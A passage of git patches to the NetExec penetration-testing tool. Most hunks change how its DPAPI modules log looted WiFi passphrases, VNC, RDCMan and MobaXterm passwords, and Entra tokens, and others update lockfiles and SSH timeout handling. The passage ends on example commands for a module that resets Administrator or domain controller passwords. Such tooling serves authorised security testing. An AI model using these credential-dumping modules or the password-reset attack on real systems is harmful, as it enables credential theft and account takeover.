b/nxc/modules/wam.py @@ -31,7 +31,7 @@ def token_callback(token): decoded_token = jwt.decode(access_token, options={"verify_signature": False}) if "preferred_username" in decoded_token: # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token - connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log) + context.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") try: triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback) diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index ce13e49471..13619d8041 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -32,16 +32,16 @@ def on_admin_login(self, context, connection): context.log.highlight(f"[OPEN] {wifi_cred.ssid}") elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]: try: - connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log) + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}") except Exception: - connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log) + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") elif wifi_cred.auth.upper() in ["WPA", "WPA2"]: try: if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None: - connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log) + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") else: - connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log) + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") except Exception: - connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log) + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") else: context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}") diff --git a/poetry.lock b/poetry.lock index 3e369e2e7b..0aee7a649f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -834,24 +834,27 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "4.1.1" +version = "4.0.0" description = "DPAPI looting remotely in Python" optional = false -python-versions = "<4.0,>=3.10" +python-versions = ">=3.10,<4.0" groups = ["main"] -files = [ - {file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"}, - {file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"}, -] +files = [] +develop = false [package.dependencies] cryptography = ">=40.0.1" impacket = ">=0.13.0" lxml = ">=5.0" -pick = ">=2.6.0,<3.0.0" pyasn1 = ">=0.4.8" pypsrp = ">=0.9.1,<0.10.0" +[package.source] +type = "git" +url = "https://github.com/zblurx/dploot.git" +reference = "network_proto_upgrade" +resolved_reference = "291d79d087a7eae99126688d35ed4f766b7ba80e" + [[package]] name = "dsinternals" version = "1.2.5" @@ -1751,24 +1754,6 @@ files = [ {file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"}, ] -[[package]] -name = "pick" -version = "2.6.0" -description = "Pick an option in the terminal with a simple GUI" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"}, - {file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"}, -] - -[package.dependencies] -windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""} - -[package.extras] -blessed = ["blessed (>=1.17.0)"] - [[package]] name = "pillow" version = "12.3.0" @@ -2995,35 +2980,6 @@ files = [ [package.dependencies] cryptography = ">=38.0.1" -[[package]] -name = "windows-curses" -version = "2.4.2" -description = "Support for the standard curses module on Windows" -optional = false -python-versions = "*" -groups = ["main"] -markers = "platform_system == \"Windows\"" -files = [ - {file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"}, - {file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"}, - {file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"}, - {file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"}, - {file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"}, - {file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"}, - {file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"}, - {file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"}, - {file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"}, - {file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"}, - {file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"}, - {file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"}, - {file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"}, - {file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"}, - {file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"}, - {file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"}, - {file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"}, - {file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"}, -] - [[package]] name = "xmltodict" version = "1.0.4" diff --git a/uv.lock b/uv.lock index 1af913ee81..b2b5a6ca4b 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. +exclude-newer = "2026-09-12T21:55:15.980757914Z" exclude-newer-span = "P1D" [[package]] @@ -746,7 +746,7 @@ wheels = [ [[package]] name = "dploot" -version = "4.1.1" +version = "4.0.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cryptography" }, @@ -756,9 +756,9 @@ dependencies = [ { name = "pyasn1" }, { name = "pypsrp" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" } +sdist = { url = "https://files.pythonhosted.org/packages/59/89/66fcaaa99b85713fe1759a2df0246f94597f7c8d26902a3acdfb0b20ff55/dploot-4.0.0.tar.gz", hash = "sha256:c77303536377e64f43ba8210fc04ed3e787e96b4c105e09f5b9ef55f1cd55e52", size = 71370, upload-time = "2026-08-24T13:06:42.938Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" }, + { url = "https://files.pythonhosted.org/packages/71/ed/9550cbe71e939b8ef19c3a9bd6dffc25c024ff908e11d9f2efcf8c41176c/dploot-4.0.0-py3-none-any.whl", hash = "sha256:24d0660be049199e363f93d6d10e5336b175cc8b8e6bcedd7382e569190a4542", size = 100723, upload-time = "2026-08-24T13:06:44.254Z" }, ] [[package]] From 5f5aa26a46ac6694931db05bb356a2113d541f36 Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 15 Sep 2026 21:57:34 +0200 Subject: [PATCH 314/397] Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules"" This reverts commit 11d9151737936555a31eceb9b64cf77c8083e133. --- nxc/helpers/dpapi.py | 6 ++-- nxc/modules/mobaxterm.py | 11 +++++-- nxc/modules/mremoteng.py | 2 +- nxc/modules/rdcman.py | 4 +-- nxc/modules/vnc.py | 8 ++--- nxc/modules/wam.py | 2 +- nxc/modules/wifi.py | 10 +++---- poetry.lock | 64 +++++++++++++++++++++++++++++++++------- uv.lock | 8 ++--- 9 files changed, 84 insertions(+), 31 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 217ae7c928..a55a665a2b 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -108,9 +108,11 @@ def __del__(self): if self.output_file is not None and self.secrets_counter > 0: self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") - def log_secret(self, line): + def log_secret(self, line, logger=None): # Handle the secret counter here, avoid to handle it in multiple places - self.connection.logger.highlight(line) + if logger is None: + logger = self.connection.logger + logger.highlight(line) with open(self.output_file, "a", encoding="utf-8") as fd: self.secrets_counter += 1 fd.write(line + "\n") diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index a153bb8dbc..c0fc21c6c8 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,4 +1,4 @@ -from dploot.triage.mobaxterm import MobaXtermTriage +from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword from nxc.helpers.misc import CATEGORY @@ -19,9 +19,16 @@ def on_admin_login(self, context, connection): context.log.fail("No masterkeys looted") return + def mobaxterm_callback(credential): + if isinstance(credential, MobaXtermCredential): + log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}" + elif isinstance(credential, MobaXtermPassword): + log_text = f"{credential.username}:{credential.password.decode('latin-1')}" + connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log) + try: context.log.success("Looting MobaXterm secrets") - triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) + triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback) triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 92749d1b06..474c284e49 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -112,7 +112,7 @@ def handle_confCons_file(self, file_content): protocol = node_attribute["Protocol"] port = node_attribute["Port"] host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " - self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}") + self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log) def parse_xml_nodes(self, main): nodes = [] diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index 6443a7564c..34e4b8573a 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -31,7 +31,7 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log) for rdgfile in rdgfiles: if rdgfile is None: continue @@ -39,6 +39,6 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log) except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index 979e6e06b4..aa2dab79a4 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -96,7 +96,7 @@ def vnc_client_proxyconf_extract(self, dploot_conn): cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") - self.context.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") + self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log) def vnc_from_registry(self, dpapi_conn): vncs = ( @@ -122,7 +122,7 @@ def vnc_from_registry(self, dpapi_conn): password = self.recover_vncpassword(value) if password is None: continue - self.context.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}") + self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log) vnc_users = ( ("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"), @@ -149,7 +149,7 @@ def vnc_from_registry(self, dpapi_conn): if "ERROR_FILE_NOT_FOUND" not in str(e): self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}") continue - self.context.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") + self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log) def split_len(self, seq, length): return [seq[i:i + length] for i in range(0, len(seq), length)] @@ -201,7 +201,7 @@ def vnc_from_filesystem(self, dploot_conn): for passwd_encrypted in passwds_encrypted: passwd_encrypted = passwd_encrypted.split(b"=")[-1] password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8] - self.context.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}") + self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log) def get_users(self, conn): users = {} diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index 25aed0711f..d8d26657c8 100644 --- a/nxc/modules/wam.py +++ b/nxc/modules/wam.py @@ -31,7 +31,7 @@ def token_callback(token): decoded_token = jwt.decode(access_token, options={"verify_signature": False}) if "preferred_username" in decoded_token: # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token - context.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") + connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log) try: triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback) diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index 13619d8041..ce13e49471 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -32,16 +32,16 @@ def on_admin_login(self, context, connection): context.log.highlight(f"[OPEN] {wifi_cred.ssid}") elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]: try: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log) except Exception: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log) elif wifi_cred.auth.upper() in ["WPA", "WPA2"]: try: if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log) else: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log) except Exception: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log) else: context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}") diff --git a/poetry.lock b/poetry.lock index 0aee7a649f..3e369e2e7b 100644 --- a/poetry.lock +++ b/poetry.lock @@ -834,27 +834,24 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "4.0.0" +version = "4.1.1" description = "DPAPI looting remotely in Python" optional = false -python-versions = ">=3.10,<4.0" +python-versions = "<4.0,>=3.10" groups = ["main"] -files = [] -develop = false +files = [ + {file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"}, + {file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"}, +] [package.dependencies] cryptography = ">=40.0.1" impacket = ">=0.13.0" lxml = ">=5.0" +pick = ">=2.6.0,<3.0.0" pyasn1 = ">=0.4.8" pypsrp = ">=0.9.1,<0.10.0" -[package.source] -type = "git" -url = "https://github.com/zblurx/dploot.git" -reference = "network_proto_upgrade" -resolved_reference = "291d79d087a7eae99126688d35ed4f766b7ba80e" - [[package]] name = "dsinternals" version = "1.2.5" @@ -1754,6 +1751,24 @@ files = [ {file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"}, ] +[[package]] +name = "pick" +version = "2.6.0" +description = "Pick an option in the terminal with a simple GUI" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"}, + {file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"}, +] + +[package.dependencies] +windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""} + +[package.extras] +blessed = ["blessed (>=1.17.0)"] + [[package]] name = "pillow" version = "12.3.0" @@ -2980,6 +2995,35 @@ files = [ [package.dependencies] cryptography = ">=38.0.1" +[[package]] +name = "windows-curses" +version = "2.4.2" +description = "Support for the standard curses module on Windows" +optional = false +python-versions = "*" +groups = ["main"] +markers = "platform_system == \"Windows\"" +files = [ + {file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"}, + {file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"}, + {file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"}, + {file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"}, + {file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"}, + {file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"}, + {file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"}, + {file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"}, + {file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"}, + {file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"}, + {file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"}, + {file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"}, + {file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"}, + {file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"}, + {file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"}, + {file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"}, + {file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"}, + {file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"}, +] + [[package]] name = "xmltodict" version = "1.0.4" diff --git a/uv.lock b/uv.lock index b2b5a6ca4b..1af913ee81 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "2026-09-12T21:55:15.980757914Z" +exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. exclude-newer-span = "P1D" [[package]] @@ -746,7 +746,7 @@ wheels = [ [[package]] name = "dploot" -version = "4.0.0" +version = "4.1.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cryptography" }, @@ -756,9 +756,9 @@ dependencies = [ { name = "pyasn1" }, { name = "pypsrp" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/59/89/66fcaaa99b85713fe1759a2df0246f94597f7c8d26902a3acdfb0b20ff55/dploot-4.0.0.tar.gz", hash = "sha256:c77303536377e64f43ba8210fc04ed3e787e96b4c105e09f5b9ef55f1cd55e52", size = 71370, upload-time = "2026-08-24T13:06:42.938Z" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/71/ed/9550cbe71e939b8ef19c3a9bd6dffc25c024ff908e11d9f2efcf8c41176c/dploot-4.0.0-py3-none-any.whl", hash = "sha256:24d0660be049199e363f93d6d10e5336b175cc8b8e6bcedd7382e569190a4542", size = 100723, upload-time = "2026-08-24T13:06:44.254Z" }, + { url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" }, ] [[package]] From 615a501dffb007585ca4e6c13e69bcf52cdf6983 Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 15 Sep 2026 22:01:07 +0200 Subject: [PATCH 315/397] uv lock update with newer correct time --- uv.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/uv.lock b/uv.lock index 1af913ee81..dec08e727e 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. +exclude-newer = "2026-09-14T19:59:32.76003989Z" exclude-newer-span = "P1D" [[package]] From 60b3a5d3d0e8acd2ec3b46cc447d247ab49ced2a Mon Sep 17 00:00:00 2001 From: Mrx Date: Fri, 18 Sep 2026 13:45:47 +0530 Subject: [PATCH 316/397] SSH: catch TimeoutError during login with a clean fail message plaintext_login() only caught AuthenticationException and SSHException before falling through to the generic Exception handler, which logs via logger.exception() and dumps a full traceback. A connection timing out mid-login is routine on a target sweep, not something that needs a stack trace, and smb.py already treats TimeoutError this way elsewhere in the codebase. Fixes #358 --- nxc/protocols/ssh.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 57d0f7148c..4d80582802 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -134,6 +134,8 @@ def plaintext_login(self, username, password, private_key=""): self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") else: self.logger.exception(e) + except TimeoutError: + self.logger.fail(f"{username}:{process_secret(password)} Connection timed out") except Exception as e: self.logger.exception(e) self.conn.close() From 99c65e87b0ac21b6eb3e9361689273a6aadd6616 Mon Sep 17 00:00:00 2001 From: termanix Date: Fri, 18 Sep 2026 21:53:31 +0300 Subject: [PATCH 317/397] Add NTLM Auth for getKerberosTGT --- nxc/modules/resetnightmare.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py index ac52e33850..e3eb2f141a 100644 --- a/nxc/modules/resetnightmare.py +++ b/nxc/modules/resetnightmare.py @@ -26,6 +26,7 @@ def __init__(self): self.new_password = None self.upn_user = None self.upn_password = None + self.upn_nthash = None def options(self, context, module_options): """ @@ -39,15 +40,17 @@ def options(self, context, module_options): Examples: netexec ldap -u -p -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!' + netexec ldap -u -p -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0' netexec ldap -u -p -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!' """ self.target = 